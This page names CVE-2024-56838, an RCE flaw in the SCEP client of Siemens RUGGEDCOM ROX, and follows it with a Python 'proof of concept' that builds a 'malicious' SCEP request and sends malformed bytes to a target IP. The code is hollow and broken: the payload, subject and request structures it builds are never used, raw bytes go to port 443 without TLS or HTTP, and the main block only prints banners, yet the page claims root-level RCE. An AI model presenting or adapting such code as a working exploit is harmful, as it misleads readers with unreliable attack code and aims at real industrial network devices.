CVE-2024-56838: Siemens RUGGEDCOM ROX SCEP客户端字段验证缺失导致远程代码执行

#!/usr/bin/env python3 """ CVE-2024-56838 PoC - Siemens RUGGEDCOM ROX SCEP Client Validation Bypass Note: This is a conceptual demonstration for authorized security testing only """ import struct import hashlib def create_malicious_scep_request(): """ Create a malicious SCEP request targeting the validation bypass """ # SCEP message type: PKCSReq (19) msg_type = 19 # Craft malicious certificate request with invalid fields # that bypass validation in vulnerable versions malicious_payload = b'\x30\x82' # Target: SCEP client on RUGGEDCOM ROX devices # Attack vector: Malformed field injection in PKCS#10 request scep_request = { 'transaction_id': 'MALICIOUS_TXN_' + 'A' * 100, 'message_type': msg_type, 'pki_status': 0, 'fail_info': 0, 'sender_nonce': b'\x00' * 16, 'receiver_nonce': b'\x00' * 16, 'cert_req': create_malformed_cert_request() } return scep_request def create_malformed_cert_request(): """ Create a PKCS#10 certificate request with fields that bypass validation """ # Malformed subject field that triggers the vulnerability subject = b'CN=' + b'\x00' * 50 + b'injected_payload' # Craft the request structure cert_request = bytearray() # Add malicious extensions that bypass validation for i in range(20): cert_request.extend(b'\x30\x82\x01\x01') return bytes(cert_request) def send_scep_request(target_ip, target_port=443): """ Send the malicious SCEP request to target device """ import socket try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_ip, target_port)) # Send malicious SCEP message payload = create_malformed_cert_request() sock.send(payload) response = sock.recv(4096) sock.close() return response except Exception as e: return f"Error: {e}" if __name__ == '__main__': print("CVE-2024-56838 PoC - For authorized testing only") print("Target: Siemens RUGGEDCOM ROX SCEP Client") print("Vulnerability: Field validation bypass leading to RCE as root")